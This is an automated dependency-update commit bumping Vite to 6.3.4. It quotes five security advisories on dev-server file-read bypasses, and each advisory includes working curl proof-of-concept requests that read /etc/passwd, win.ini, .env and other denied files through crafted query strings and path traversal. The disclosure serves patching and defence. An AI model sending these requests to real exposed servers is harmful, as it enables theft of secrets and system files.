Commit 960a900
authored
chore(deps): update dependency vite to v6.3.4 [security] (#5381)
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vite](https://vite.dev)
([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite))
| [`6.3.3` ->
`6.3.4`](https://renovatebot.com/diffs/npm/vite/6.3.3/6.3.4) |
[](https://docs.renovatebot.com/merge-confidence/)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
### GitHub Vulnerability Alerts
####
[CVE-2025-30208](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w)
### Summary
The contents of arbitrary files can be returned to the browser.
### Impact
Only apps explicitly exposing the Vite dev server to the network (using
`--host` or [`server.host` config
option](https://vitejs.dev/config/server-options.html#server-host)) are
affected.
### Details
`@fs` denies access to files outside of Vite serving allow list. Adding
`?raw??` or `?import&raw??` to the URL bypasses this limitation and
returns the file content if it exists. This bypass exists because
trailing separators such as `?` are removed in several places, but are
not accounted for in query string regexes.
### PoC
```bash
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@​fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
```
####
[CVE-2025-31125](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-4r4m-qw57-chr8)
### Summary
The contents of arbitrary files can be returned to the browser.
### Impact
Only apps explicitly exposing the Vite dev server to the network (using
`--host` or [`server.host` config
option](https://vitejs.dev/config/server-options.html#server-host)) are
affected.
### Details
- base64 encoded content of non-allowed files is exposed using
`?inline&import` (originally reported as `?import&?inline=1.wasm?init`)
- content of non-allowed files is exposed using `?raw?import`
`/@​fs/` isn't needed to reproduce the issue for files inside the
project root.
### PoC
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read
arbitrary files and returns the file content if it exists. Base64
decoding needs to be performed twice
```
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
```
Example full URL
`http://localhost:5173/@​fs/C:/windows/win.ini?import&?inline=1.wasm?init`
####
[CVE-2025-31486](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x)
### Summary
The contents of arbitrary files can be returned to the browser.
### Impact
Only apps explicitly exposing the Vite dev server to the network (using
--host or [server.host config
option](https://vitejs.dev/config/server-options.html#server-host)) are
affected.
### Details
#### `.svg`
Requests ending with `.svg` are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding `?.svg` with `?.wasm?init` or with `sec-fetch-dest: script`
header, the restriction was able to bypass.
This bypass is only possible if the file is smaller than
[`build.assetsInlineLimit`](https://vite.dev/config/build-options.html#build-assetsinlinelimit)
(default: 4kB) and when using Vite 6.0+.
#### relative paths
The check was applied before the id normalization. This allowed requests
to bypass with relative paths (e.g. `../../`).
### PoC
```bash
npm create vite@latest
cd vite-project/
npm install
npm run dev
```
send request to read `etc/passwd`
```bash
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
```
```bash
curl 'http://127.0.0.1:5173/@​fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
```
####
[CVE-2025-32395](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-356w-63v5-8wf4)
### Summary
The contents of arbitrary files can be returned to the browser if the
dev server is running on Node or Bun.
### Impact
Only apps with the following conditions are affected.
- explicitly exposing the Vite dev server to the network (using --host
or [server.host config
option](https://vitejs.dev/config/server-options.html#server-host))
- running the Vite dev server on runtimes that are not Deno (e.g. Node,
Bun)
### Details
[HTTP 1.1 spec (RFC 9112) does not allow `#` in
`request-target`](https://datatracker.ietf.org/doc/html/rfc9112#section-3.2).
Although an attacker can send such a request. For those requests with an
invalid `request-line` (it includes `request-target`), the spec
[recommends to reject them with 400 or
301](https://datatracker.ietf.org/doc/html/rfc9112#section-3.2-4). The
same can be said for HTTP 2
([ref1](https://datatracker.ietf.org/doc/html/rfc9113#section-8.3.1-2.4.1),
[ref2](https://datatracker.ietf.org/doc/html/rfc9113#section-8.3.1-3),
[ref3](https://datatracker.ietf.org/doc/html/rfc9113#section-8.1.1-3)).
On Node and Bun, those requests are not rejected internally and is
passed to the user land. For those requests, the value of
[`http.IncomingMessage.url`](https://nodejs.org/docs/latest-v22.x/api/http.html#messageurl)
contains `#`. Vite assumed `req.url` won't contain `#` when checking
`server.fs.deny`, allowing those kinds of requests to bypass the check.
On Deno, those requests are not rejected internally and is passed to the
user land as well. But for those requests, the value of
`http.IncomingMessage.url` did not contain `#`.
### PoC
```
npm create vite@latest
cd vite-project/
npm install
npm run dev
```
send request to read `/etc/passwd`
```
curl --request-target /@​fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
```
####
[CVE-2025-46565](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-859w-5945-r5v3)
### Summary
The contents of files in [the project
`root`](https://vite.dev/config/shared-options.html#root) that are
denied by a file matching pattern can be returned to the browser.
### Impact
Only apps explicitly exposing the Vite dev server to the network (using
--host or [server.host config
option](https://vitejs.dev/config/server-options.html#server-host)) are
affected.
Only files that are under [project
`root`](https://vite.dev/config/shared-options.html#root) and are denied
by a file matching pattern can be bypassed.
- Examples of file matching patterns: `.env`, `.env.*`, `*.{crt,pem}`,
`**/.env`
- Examples of other patterns: `**/.git/**`, `.git/**`, `.git/**/*`
### Details
[`server.fs.deny`](https://vite.dev/config/server-options.html#server-fs-deny)
can contain patterns matching against files (by default it includes
`.env`, `.env.*`, `*.{crt,pem}` as such patterns).
These patterns were able to bypass for files under `root` by using a
combination of slash and dot (`/.`).
### PoC
```
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173
```


---
### Release Notes
<details>
<summary>vitejs/vite (vite)</summary>
###
[`v6.3.4`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small634-2025-04-30-small)
[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v6.3.3...v6.3.4)
- fix: check static serve file inside sirv
([#​19965](https://redirect.github.com/vitejs/vite/issues/19965))
([c22c43d](https://redirect.github.com/vitejs/vite/commit/c22c43de612eebb6c182dd67850c24e4fab8cacb)),
closes
[#​19965](https://redirect.github.com/vitejs/vite/issues/19965)
- fix(optimizer): return plain object when using `require` to import
externals in optimized dependenci
([efc5eab](https://redirect.github.com/vitejs/vite/commit/efc5eab253419fde0a6a48b8d2f233063d6a9643)),
closes
[#​19940](https://redirect.github.com/vitejs/vite/issues/19940)
- refactor: remove duplicate plugin context type
([#​19935](https://redirect.github.com/vitejs/vite/issues/19935))
([d6d01c2](https://redirect.github.com/vitejs/vite/commit/d6d01c2292fa4f9603e05b95d81c8724314c20e0)),
closes
[#​19935](https://redirect.github.com/vitejs/vite/issues/19935)
</details>
---
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